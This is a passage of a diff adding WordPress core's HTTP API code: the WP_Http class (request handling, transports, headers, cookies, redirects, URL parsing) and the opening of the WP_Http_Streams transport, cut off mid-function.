+ * WordPress HTTP Class for managing HTTP Transports and making HTTP requests.
+ *
+ * This class is used to consistently make outgoing HTTP requests easy for developers
+ * while still being compatible with the many PHP configurations under which
+ * WordPress runs.
+ *
+ * Debugging includes several actions, which pass different variables for debugging the HTTP API.
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+class WP_Http {
+
+	/**
+	 * Send an HTTP request to a URI.
+	 *
+	 * Please note: The only URI that are supported in the HTTP Transport implementation
+	 * are the HTTP and HTTPS protocols.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string       $url  The request URL.
+	 * @param string|array $args {
+	 *     Optional. Array or string of HTTP request arguments.
+	 *
+	 *     @type string       $method              Request method. Accepts 'GET', 'POST', 'HEAD', or 'PUT'.
+	 *                                             Some transports technically allow others, but should not be
+	 *                                             assumed. Default 'GET'.
+	 *     @type int          $timeout             How long the connection should stay open in seconds. Default 5.
+	 *     @type int          $redirection         Number of allowed redirects. Not supported by all transports
+	 *                                             Default 5.
+	 *     @type string       $httpversion         Version of the HTTP protocol to use. Accepts '1.0' and '1.1'.
+	 *                                             Default '1.0'.
+	 *     @type string       $user-agent          User-agent value sent.
+	 *                                             Default WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ).
+	 *     @type bool         $reject_unsafe_urls  Whether to pass URLs through {@see wp_http_validate_url()}.
+	 *                                             Default false.
+	 *     @type bool         $blocking            Whether the calling code requires the result of the request.
+	 *                                             If set to false, the request will be sent to the remote server,
+	 *                                             and processing returned to the calling code immediately, the caller
+	 *                                             will know if the request succeeded or failed, but will not receive
+	 *                                             any response from the remote server. Default true.
+	 *     @type string|array $headers             Array or string of headers to send with the request.
+	 *                                             Default empty array.
+	 *     @type array        $cookies             List of cookies to send with the request. Default empty array.
+	 *     @type string|array $body                Body to send with the request. Default null.
+	 *     @type bool         $compress            Whether to compress the $body when sending the request.
+	 *                                             Default false.
+	 *     @type bool         $decompress          Whether to decompress a compressed response. If set to false and
+	 *                                             compressed content is returned in the response anyway, it will
+	 *                                             need to be separately decompressed. Default true.
+	 *     @type bool         $sslverify           Whether to verify SSL for the request. Default true.
+	 *     @type string       sslcertificates      Absolute path to an SSL certificate .crt file.
+	 *                                             Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'.
+	 *     @type bool         $stream              Whether to stream to a file. If set to true and no filename was
+	 *                                             given, it will be droped it in the WP temp dir and its name will
+	 *                                             be set using the basename of the URL. Default false.
+	 *     @type string       $filename            Filename of the file to write to when streaming. $stream must be
+	 *                                             set to true. Default null.
+	 *     @type int          $limit_response_size Size in bytes to limit the response to. Default null.
+	 *
+	 * }
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
+	 *                        A WP_Error instance upon error.
+	 */
+	public function request( $url, $args = array() ) {
+		global $wp_version;
+
+		$defaults = array(
+			'method' => 'GET',
+			/**
+			 * Filter the timeout value for an HTTP request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param int $timeout_value Time in seconds until a request times out.
+			 *                           Default 5.
+			 */
+			'timeout' => apply_filters( 'http_request_timeout', 5 ),
+			/**
+			 * Filter the number of redirects allowed during an HTTP request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param int $redirect_count Number of redirects allowed. Default 5.
+			 */
+			'redirection' => apply_filters( 'http_request_redirection_count', 5 ),
+			/**
+			 * Filter the version of the HTTP protocol used in a request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param string $version Version of HTTP used. Accepts '1.0' and '1.1'.
+			 *                        Default '1.0'.
+			 */
+			'httpversion' => apply_filters( 'http_request_version', '1.0' ),
+			/**
+			 * Filter the user agent value sent with an HTTP request.
+			 *
+			 * @since 2.7.0
+			 *
+			 * @param string $user_agent WordPress user agent string.
+			 */
+			'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) ),
+			/**
+			 * Filter whether to pass URLs through wp_http_validate_url() in an HTTP request.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param bool $pass_url Whether to pass URLs through wp_http_validate_url().
+			 *                       Default false.
+			 */
+			'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false ),
+			'blocking' => true,
+			'headers' => array(),
+			'cookies' => array(),
+			'body' => null,
+			'compress' => false,
+			'decompress' => true,
+			'sslverify' => true,
+			'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
+			'stream' => false,
+			'filename' => null,
+			'limit_response_size' => null,
+		);
+
+		// Pre-parse for the HEAD checks.
+		$args = wp_parse_args( $args );
+
+		// By default, Head requests do not cause redirections.
+		if ( isset($args['method']) && 'HEAD' == $args['method'] )
+			$defaults['redirection'] = 0;
+
+		$r = wp_parse_args( $args, $defaults );
+		/**
+		 * Filter the arguments used in an HTTP request.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array  $r   An array of HTTP request arguments.
+		 * @param string $url The request URL.
+		 */
+		$r = apply_filters( 'http_request_args', $r, $url );
+
+		// The transports decrement this, store a copy of the original value for loop purposes.
+		if ( ! isset( $r['_redirection'] ) )
+			$r['_redirection'] = $r['redirection'];
+
+		/**
+		 * Filter whether to preempt an HTTP request's return.
+		 *
+		 * Returning a truthy value to the filter will short-circuit
+		 * the HTTP request and return early with that value.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param bool   $preempt Whether to preempt an HTTP request return. Default false.
+		 * @param array  $r       HTTP request arguments.
+		 * @param string $url     The request URL.
+		 */
+		$pre = apply_filters( 'pre_http_request', false, $r, $url );
+		if ( false !== $pre )
+			return $pre;
+
+		if ( function_exists( 'wp_kses_bad_protocol' ) ) {
+			if ( $r['reject_unsafe_urls'] )
+				$url = wp_http_validate_url( $url );
+			$url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) );
+		}
+
+		$arrURL = @parse_url( $url );
+
+		if ( empty( $url ) || empty( $arrURL['scheme'] ) )
+			return new WP_Error('http_request_failed', __('A valid URL was not provided.'));
+
+		if ( $this->block_request( $url ) )
+			return new WP_Error( 'http_request_failed', __( 'User has blocked requests through HTTP.' ) );
+
+		/*
+		 * Determine if this is a https call and pass that on to the transport functions
+		 * so that we can blacklist the transports that do not support ssl verification
+		 */
+		$r['ssl'] = $arrURL['scheme'] == 'https' || $arrURL['scheme'] == 'ssl';
+
+		// Determine if this request is to OUR install of WordPress.
+		$homeURL = parse_url( get_bloginfo( 'url' ) );
+		$r['local'] = 'localhost' == $arrURL['host'] || ( isset( $homeURL['host'] ) && $homeURL['host'] == $arrURL['host'] );
+		unset( $homeURL );
+
+		/*
+		 * If we are streaming to a file but no filename was given drop it in the WP temp dir
+		 * and pick its name using the basename of the $url.
+		 */
+		if ( $r['stream']  && empty( $r['filename'] ) ) {
+			$r['filename'] = wp_unique_filename( get_temp_dir(), basename( $url ) );
+		}
+
+		/*
+		 * Force some settings if we are streaming to a file and check for existence and perms
+		 * of destination directory.
+		 */
+		if ( $r['stream'] ) {
+			$r['blocking'] = true;
+			if ( ! wp_is_writable( dirname( $r['filename'] ) ) )
+				return new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) );
+		}
+
+		if ( is_null( $r['headers'] ) )
+			$r['headers'] = array();
+
+		if ( ! is_array( $r['headers'] ) ) {
+			$processedHeaders = WP_Http::processHeaders( $r['headers'], $url );
+			$r['headers'] = $processedHeaders['headers'];
+		}
+
+		if ( isset( $r['headers']['User-Agent'] ) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset( $r['headers']['User-Agent'] );
+		}
+
+		if ( isset( $r['headers']['user-agent'] ) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset( $r['headers']['user-agent'] );
+		}
+
+		if ( '1.1' == $r['httpversion'] && !isset( $r['headers']['connection'] ) ) {
+			$r['headers']['connection'] = 'close';
+		}
+
+		// Construct Cookie: header if any cookies are set.
+		WP_Http::buildCookieHeader( $r );
+
+		// Avoid issues where mbstring.func_overload is enabled.
+		mbstring_binary_safe_encoding();
+
+		if ( ! isset( $r['headers']['Accept-Encoding'] ) ) {
+			if ( $encoding = WP_Http_Encoding::accept_encoding( $url, $r ) )
+				$r['headers']['Accept-Encoding'] = $encoding;
+		}
+
+		if ( ( ! is_null( $r['body'] ) && '' != $r['body'] ) || 'POST' == $r['method'] || 'PUT' == $r['method'] ) {
+			if ( is_array( $r['body'] ) || is_object( $r['body'] ) ) {
+				$r['body'] = http_build_query( $r['body'], null, '&' );
+
+				if ( ! isset( $r['headers']['Content-Type'] ) )
+					$r['headers']['Content-Type'] = 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' );
+			}
+
+			if ( '' === $r['body'] )
+				$r['body'] = null;
+
+			if ( ! isset( $r['headers']['Content-Length'] ) && ! isset( $r['headers']['content-length'] ) )
+				$r['headers']['Content-Length'] = strlen( $r['body'] );
+		}
+
+		$response = $this->_dispatch_request( $url, $r );
+
+		reset_mbstring_encoding();
+
+		if ( is_wp_error( $response ) )
+			return $response;
+
+		// Append cookies that were used in this request to the response
+		if ( ! empty( $r['cookies'] ) ) {
+			$cookies_set = wp_list_pluck( $response['cookies'], 'name' );
+			foreach ( $r['cookies'] as $cookie ) {
+				if ( ! in_array( $cookie->name, $cookies_set ) && $cookie->test( $url ) ) {
+					$response['cookies'][] = $cookie;
+				}
+			}
+		}
+
+		return $response;
+	}
+
+	/**
+	 * Tests which transports are capable of supporting the request.
+	 *
+	 * @since 3.2.0
+	 * @access private
+	 *
+	 * @param array $args Request arguments
+	 * @param string $url URL to Request
+	 *
+	 * @return string|false Class name for the first transport that claims to support the request. False if no transport claims to support the request.
+	 */
+	public function _get_first_available_transport( $args, $url = null ) {
+		/**
+		 * Filter which HTTP transports are available and in what order.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array  $value Array of HTTP transports to check. Default array contains
+		 *                      'curl', and 'streams', in that order.
+		 * @param array  $args  HTTP request arguments.
+		 * @param string $url   The URL to request.
+		 */
+		$request_order = apply_filters( 'http_api_transports', array( 'curl', 'streams' ), $args, $url );
+
+		// Loop over each transport on each HTTP request looking for one which will serve this request's needs.
+		foreach ( $request_order as $transport ) {
+			$class = 'WP_HTTP_' . $transport;
+
+			// Check to see if this transport is a possibility, calls the transport statically.
+			if ( !call_user_func( array( $class, 'test' ), $args, $url ) )
+				continue;
+
+			return $class;
+		}
+
+		return false;
+	}
+
+	/**
+	 * Dispatches a HTTP request to a supporting transport.
+	 *
+	 * Tests each transport in order to find a transport which matches the request arguments.
+	 * Also caches the transport instance to be used later.
+	 *
+	 * The order for requests is cURL, and then PHP Streams.
+	 *
+	 * @since 3.2.0
+	 * @access private
+	 *
+	 * @param string $url URL to Request
+	 * @param array $args Request arguments
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	private function _dispatch_request( $url, $args ) {
+		static $transports = array();
+
+		$class = $this->_get_first_available_transport( $args, $url );
+		if ( !$class )
+			return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) );
+
+		// Transport claims to support request, instantiate it and give it a whirl.
+		if ( empty( $transports[$class] ) )
+			$transports[$class] = new $class;
+
+		$response = $transports[$class]->request( $url, $args );
+
+		/**
+		 * Fires after an HTTP API response is received and before the response is returned.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array|WP_Error $response HTTP response or WP_Error object.
+		 * @param string         $context  Context under which the hook is fired.
+		 * @param string         $class    HTTP transport used.
+		 * @param array          $args     HTTP request arguments.
+		 * @param string         $url      The request URL.
+		 */
+		do_action( 'http_api_debug', $response, 'response', $class, $args, $url );
+
+		if ( is_wp_error( $response ) )
+			return $response;
+
+		/**
+		 * Filter the HTTP API response immediately before the response is returned.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array  $response HTTP response.
+		 * @param array  $args     HTTP request arguments.
+		 * @param string $url      The request URL.
+		 */
+		return apply_filters( 'http_response', $response, $args, $url );
+	}
+
+	/**
+	 * Uses the POST HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string       $url  The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function post($url, $args = array()) {
+		$defaults = array('method' => 'POST');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Uses the GET HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function get($url, $args = array()) {
+		$defaults = array('method' => 'GET');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Uses the HEAD HTTP method.
+	 *
+	 * Used for sending data that is expected to be in the body.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 *
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function head($url, $args = array()) {
+		$defaults = array('method' => 'HEAD');
+		$r = wp_parse_args( $args, $defaults );
+		return $this->request($url, $r);
+	}
+
+	/**
+	 * Parses the responses and splits the parts into headers and body.
+	 *
+	 * @access public
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param string $strResponse The full response string
+	 * @return array Array with 'headers' and 'body' keys.
+	 */
+	public static function processResponse($strResponse) {
+		$res = explode("\r\n\r\n", $strResponse, 2);
+
+		return array('headers' => $res[0], 'body' => isset($res[1]) ? $res[1] : '');
+	}
+
+	/**
+	 * Transform header string into an array.
+	 *
+	 * If an array is given then it is assumed to be raw header data with numeric keys with the
+	 * headers as the values. No headers must be passed that were already processed.
+	 *
+	 * @access public
+	 * @static
+	 * @since 2.7.0
+	 *
+	 * @param string|array $headers
+	 * @param string $url The URL that was requested
+	 * @return array Processed string headers. If duplicate headers are encountered,
+	 * 					Then a numbered array is returned as the value of that header-key.
+	 */
+	public static function processHeaders( $headers, $url = '' ) {
+		// Split headers, one per array element.
+		if ( is_string($headers) ) {
+			// Tolerate line terminator: CRLF = LF (RFC 2616 19.3).
+			$headers = str_replace("\r\n", "\n", $headers);
+			/*
+			 * Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) <US-ASCII SP, space (32)>,
+			 * <US-ASCII HT, horizontal-tab (9)> (RFC 2616 2.2).
+			 */
+			$headers = preg_replace('/\n[ \t]/', ' ', $headers);
+			// Create the headers array.
+			$headers = explode("\n", $headers);
+		}
+
+		$response = array('code' => 0, 'message' => '');
+
+		/*
+		 * If a redirection has taken place, The headers for each page request may have been passed.
+		 * In this case, determine the final HTTP header and parse from there.
+		 */
+		for ( $i = count($headers)-1; $i >= 0; $i-- ) {
+			if ( !empty($headers[$i]) && false === strpos($headers[$i], ':') ) {
+				$headers = array_splice($headers, $i);
+				break;
+			}
+		}
+
+		$cookies = array();
+		$newheaders = array();
+		foreach ( (array) $headers as $tempheader ) {
+			if ( empty($tempheader) )
+				continue;
+
+			if ( false === strpos($tempheader, ':') ) {
+				$stack = explode(' ', $tempheader, 3);
+				$stack[] = '';
+				list( , $response['code'], $response['message']) = $stack;
+				continue;
+			}
+
+			list($key, $value) = explode(':', $tempheader, 2);
+
+			$key = strtolower( $key );
+			$value = trim( $value );
+
+			if ( isset( $newheaders[ $key ] ) ) {
+				if ( ! is_array( $newheaders[ $key ] ) )
+					$newheaders[$key] = array( $newheaders[ $key ] );
+				$newheaders[ $key ][] = $value;
+			} else {
+				$newheaders[ $key ] = $value;
+			}
+			if ( 'set-cookie' == $key )
+				$cookies[] = new WP_Http_Cookie( $value, $url );
+		}
+
+		// Cast the Response Code to an int
+		$response['code'] = intval( $response['code'] );
+
+		return array('response' => $response, 'headers' => $newheaders, 'cookies' => $cookies);
+	}
+
+	/**
+	 * Takes the arguments for a ::request() and checks for the cookie array.
+	 *
+	 * If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances,
+	 * which are each parsed into strings and added to the Cookie: header (within the arguments array).
+	 * Edits the array by reference.
+	 *
+	 * @access public
+	 * @version 2.8.0
+	 * @static
+	 *
+	 * @param array $r Full array of args passed into ::request()
+	 */
+	public static function buildCookieHeader( &$r ) {
+		if ( ! empty($r['cookies']) ) {
+			// Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances.
+			foreach ( $r['cookies'] as $name => $value ) {
+				if ( ! is_object( $value ) )
+					$r['cookies'][ $name ] = new WP_HTTP_Cookie( array( 'name' => $name, 'value' => $value ) );
+			}
+
+			$cookies_header = '';
+			foreach ( (array) $r['cookies'] as $cookie ) {
+				$cookies_header .= $cookie->getHeaderValue() . '; ';
+			}
+
+			$cookies_header = substr( $cookies_header, 0, -2 );
+			$r['headers']['cookie'] = $cookies_header;
+		}
+	}
+
+	/**
+	 * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification.
+	 *
+	 * Based off the HTTP http_encoding_dechunk function.
+	 *
+	 * @link http://tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding.
+	 *
+	 * @access public
+	 * @since 2.7.0
+	 * @static
+	 *
+	 * @param string $body Body content
+	 * @return string Chunked decoded body on success or raw body on failure.
+	 */
+	public static function chunkTransferDecode( $body ) {
+		// The body is not chunked encoded or is malformed.
+		if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) )
+			return $body;
+
+		$parsed_body = '';
+
+		// We'll be altering $body, so need a backup in case of error.
+		$body_original = $body;
+
+		while ( true ) {
+			$has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match );
+			if ( ! $has_chunk || empty( $match[1] ) )
+				return $body_original;
+
+			$length = hexdec( $match[1] );
+			$chunk_length = strlen( $match[0] );
+
+			// Parse out the chunk of data.
+			$parsed_body .= substr( $body, $chunk_length, $length );
+
+			// Remove the chunk from the raw data.
+			$body = substr( $body, $length + $chunk_length );
+
+			// End of the document.
+			if ( '0' === trim( $body ) )
+				return $parsed_body;
+		}
+	}
+
+	/**
+	 * Block requests through the proxy.
+	 *
+	 * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will
+	 * prevent plugins from working and core functionality, if you don't include api.wordpress.org.
+	 *
+	 * You block external URL requests by defining WP_HTTP_BLOCK_EXTERNAL as true in your wp-config.php
+	 * file and this will only allow localhost and your blog to make requests. The constant
+	 * WP_ACCESSIBLE_HOSTS will allow additional hosts to go through for requests. The format of the
+	 * WP_ACCESSIBLE_HOSTS constant is a comma separated list of hostnames to allow, wildcard domains
+	 * are supported, eg *.wordpress.org will allow for all subdomains of wordpress.org to be contacted.
+	 *
+	 * @since 2.8.0
+	 * @link https://core.trac.wordpress.org/ticket/8927 Allow preventing external requests.
+	 * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS
+	 *
+	 * @param string $uri URI of url.
+	 * @return bool True to block, false to allow.
+	 */
+	public function block_request($uri) {
+		// We don't need to block requests, because nothing is blocked.
+		if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL )
+			return false;
+
+		$check = parse_url($uri);
+		if ( ! $check )
+			return true;
+
+		$home = parse_url( get_option('siteurl') );
+
+		// Don't block requests back to ourselves by default.
+		if ( 'localhost' == $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) ) {
+			/**
+			 * Filter whether to block local requests through the proxy.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool $block Whether to block local requests through proxy.
+			 *                    Default false.
+			 */
+			return apply_filters( 'block_local_requests', false );
+		}
+
+		if ( !defined('WP_ACCESSIBLE_HOSTS') )
+			return true;
+
+		static $accessible_hosts;
+		static $wildcard_regex = false;
+		if ( null == $accessible_hosts ) {
+			$accessible_hosts = preg_split('|,\s*|', WP_ACCESSIBLE_HOSTS);
+
+			if ( false !== strpos(WP_ACCESSIBLE_HOSTS, '*') ) {
+				$wildcard_regex = array();
+				foreach ( $accessible_hosts as $host )
+					$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
+				$wildcard_regex = '/^(' . implode('|', $wildcard_regex) . ')$/i';
+			}
+		}
+
+		if ( !empty($wildcard_regex) )
+			return !preg_match($wildcard_regex, $check['host']);
+		else
+			return !in_array( $check['host'], $accessible_hosts ); //Inverse logic, If it's in the array, then we can't access it.
+
+	}
+
+	/**
+	 * A wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7
+	 *
+	 * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute url's, including
+	 * schemeless and relative url's with :// in the path, this works around those
+	 * limitations providing a standard output on PHP 5.2~5.4+.
+	 *
+	 * Error suppression is used as prior to PHP 5.3.3, an E_WARNING would be generated
+	 * when URL parsing failed.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 *
+	 * @param string $url The URL to parse.
+	 * @return bool|array False on failure; Array of URL components on success;
+	 *                    See parse_url()'s return values.
+	 */
+	protected static function parse_url( $url ) {
+		$parts = @parse_url( $url );
+		if ( ! $parts ) {
+			// < PHP 5.4.7 compat, trouble with relative paths including a scheme break in the path
+			if ( '/' == $url[0] && false !== strpos( $url, '://' ) ) {
+				// Since we know it's a relative path, prefix with a scheme/host placeholder and try again
+				if ( ! $parts = @parse_url( 'placeholder://placeholder' . $url ) ) {
+					return $parts;
+				}
+				// Remove the placeholder values
+				unset( $parts['scheme'], $parts['host'] );
+			} else {
+				return $parts;
+			}
+		}
+
+		// < PHP 5.4.7 compat, doesn't detect schemeless URL's host field
+		if ( '//' == substr( $url, 0, 2 ) && ! isset( $parts['host'] ) ) {
+			list( $parts['host'], $slashless_path ) = explode( '/', substr( $parts['path'], 2 ), 2 );
+			$parts['path'] = "/{$slashless_path}";
+		}
+
+		return $parts;
+	}
+
+	/**
+	 * Converts a relative URL to an absolute URL relative to a given URL.
+	 *
+	 * If an Absolute URL is provided, no processing of that URL is done.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @access public
+	 * @param string $maybe_relative_path The URL which might be relative
+	 * @param string $url                 The URL which $maybe_relative_path is relative to
+	 * @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned.
+	 */
+	public static function make_absolute_url( $maybe_relative_path, $url ) {
+		if ( empty( $url ) )
+			return $maybe_relative_path;
+
+		if ( ! $url_parts = WP_HTTP::parse_url( $url ) ) {
+			return $maybe_relative_path;
+		}
+
+		if ( ! $relative_url_parts = WP_HTTP::parse_url( $maybe_relative_path ) ) {
+			return $maybe_relative_path;
+		}
+
+		// Check for a scheme on the 'relative' url
+		if ( ! empty( $relative_url_parts['scheme'] ) ) {
+			return $maybe_relative_path;
+		}
+
+		$absolute_path = $url_parts['scheme'] . '://';
+
+		// Schemeless URL's will make it this far, so we check for a host in the relative url and convert it to a protocol-url
+		if ( isset( $relative_url_parts['host'] ) ) {
+			$absolute_path .= $relative_url_parts['host'];
+			if ( isset( $relative_url_parts['port'] ) )
+				$absolute_path .= ':' . $relative_url_parts['port'];
+		} else {
+			$absolute_path .= $url_parts['host'];
+			if ( isset( $url_parts['port'] ) )
+				$absolute_path .= ':' . $url_parts['port'];
+		}
+
+		// Start off with the Absolute URL path.
+		$path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/';
+
+		// If it's a root-relative path, then great.
+		if ( ! empty( $relative_url_parts['path'] ) && '/' == $relative_url_parts['path'][0] ) {
+			$path = $relative_url_parts['path'];
+
+		// Else it's a relative path.
+		} elseif ( ! empty( $relative_url_parts['path'] ) ) {
+			// Strip off any file components from the absolute path.
+			$path = substr( $path, 0, strrpos( $path, '/' ) + 1 );
+
+			// Build the new path.
+			$path .= $relative_url_parts['path'];
+
+			// Strip all /path/../ out of the path.
+			while ( strpos( $path, '../' ) > 1 ) {
+				$path = preg_replace( '![^/]+/\.\./!', '', $path );
+			}
+
+			// Strip any final leading ../ from the path.
+			$path = preg_replace( '!^/(\.\./)+!', '', $path );
+		}
+
+		// Add the Query string.
+		if ( ! empty( $relative_url_parts['query'] ) )
+			$path .= '?' . $relative_url_parts['query'];
+
+		return $absolute_path . '/' . ltrim( $path, '/' );
+	}
+
+	/**
+	 * Handles HTTP Redirects and follows them if appropriate.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $url The URL which was requested.
+	 * @param array $args The Arguments which were used to make the request.
+	 * @param array $response The Response of the HTTP request.
+	 * @return false|object False if no redirect is present, a WP_HTTP or WP_Error result otherwise.
+	 */
+	public static function handle_redirects( $url, $args, $response ) {
+		// If no redirects are present, or, redirects were not requested, perform no action.
+		if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] )
+			return false;
+
+		// Only perform redirections on redirection http codes.
+		if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 )
+			return false;
+
+		// Don't redirect if we've run out of redirects.
+		if ( $args['redirection']-- <= 0 )
+			return new WP_Error( 'http_request_failed', __('Too many redirects.') );
+
+		$redirect_location = $response['headers']['location'];
+
+		// If there were multiple Location headers, use the last header specified.
+		if ( is_array( $redirect_location ) )
+			$redirect_location = array_pop( $redirect_location );
+
+		$redirect_location = WP_HTTP::make_absolute_url( $redirect_location, $url );
+
+		// POST requests should not POST to a redirected location.
+		if ( 'POST' == $args['method'] ) {
+			if ( in_array( $response['response']['code'], array( 302, 303 ) ) )
+				$args['method'] = 'GET';
+		}
+
+		// Include valid cookies in the redirect process.
+		if ( ! empty( $response['cookies'] ) ) {
+			foreach ( $response['cookies'] as $cookie ) {
+				if ( $cookie->test( $redirect_location ) )
+					$args['cookies'][] = $cookie;
+			}
+		}
+
+		return wp_remote_request( $redirect_location, $args );
+	}
+
+	/**
+	 * Determines if a specified string represents an IP address or not.
+	 *
+	 * This function also detects the type of the IP address, returning either
+	 * '4' or '6' to represent a IPv4 and IPv6 address respectively.
+	 * This does not verify if the IP is a valid IP, only that it appears to be
+	 * an IP address.
+	 *
+	 * @see http://home.deds.nl/~aeron/regex/ for IPv6 regex
+	 *
+	 * @since 3.7.0
+	 * @static
+	 *
+	 * @param string $maybe_ip A suspected IP address
+	 * @return integer|bool Upon success, '4' or '6' to represent a IPv4 or IPv6 address, false upon failure
+	 */
+	public static function is_ip_address( $maybe_ip ) {
+		if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) )
+			return 4;
+
+		if ( false !== strpos( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) )
+			return 6;
+
+		return false;
+	}
+
+}
+
+/**
+ * HTTP request method uses PHP Streams to retrieve the url.
+ *
+ * @since 2.7.0
+ * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
+ */
+class WP_Http_Streams {
+	/**
+	 * Send a HTTP request to a URI using PHP Streams.
+	 *
+	 * @see WP_Http::request For default options descriptions.
+	 *
+	 * @since 2.7.0
+	 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
+	 *
+	 * @access public
+	 * @param string $url The request URL.
+	 * @param string|array $args Optional. Override the defaults.
+	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
+	 */
+	public function request($url, $args = array()) {
+		$defaults = array(
+			'method' => 'GET', 'timeout' => 5,
+			'redirection' => 5, 'httpversion' => '1.0',
+			'blocking' => true,
+			'headers' => array(), 'body' => null, 'cookies' => array()
+		);
+
+		$r = wp_parse_args( $args, $defaults );
+
+		if ( isset($r['headers']['User-Agent']) ) {
+			$r['user-agent'] = $r['headers']['User-Agent'];
+			unset($r['headers']['User-Agent']);
+		} else if ( isset($r['headers']['user-agent']) ) {
+			$r['user-agent'] = $r['headers']['user-agent'];
+			unset($r['headers']['user-agent']);
+		}
+
+		// Construct Cookie: header if any cookies are set.
+		WP_Http::buildCookieHeader( $r );
+
+		$arrURL = parse_url($url);
+
+		$connect_host = $arrURL['host'];
+
+		$secure_transport = ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' );
+		if ( ! isset( $arrURL['port'] ) ) {
+			if ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' ) {
+				$arrURL['port'] = 443;
+				$secure_transport = true;
+			} else {
+				$arrURL['port'] = 80;
+			}
+		}
+
+		// Always pass a Path, defaulting to the root in cases such as http://example.com
+		if ( ! isset( $arrURL['path'] ) ) {
+			$arrURL['path'] = '/';
+		}
+
+		if ( isset( $r['headers']['Host'] ) || isset( $r['headers']['host'] ) ) {
+			if ( isset( $r['headers']['Host'] ) )
+				$arrURL['host'] = $r['headers']['Host'];
+			else
+				$arrURL['host'] = $r['headers']['host'];
+			unset( $r['headers']['Host'], $r['headers']['host'] );
+		}
+
+		/*
+		 * Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect
+		 * to ::1, which fails when the server is not set up for it. For compatibility, always
+		 * connect to the IPv4 address.
+		 */
+		if ( 'localhost' == strtolower( $connect_host ) )
+			$connect_host = '127.0.0.1';
+
+		$connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host;
+
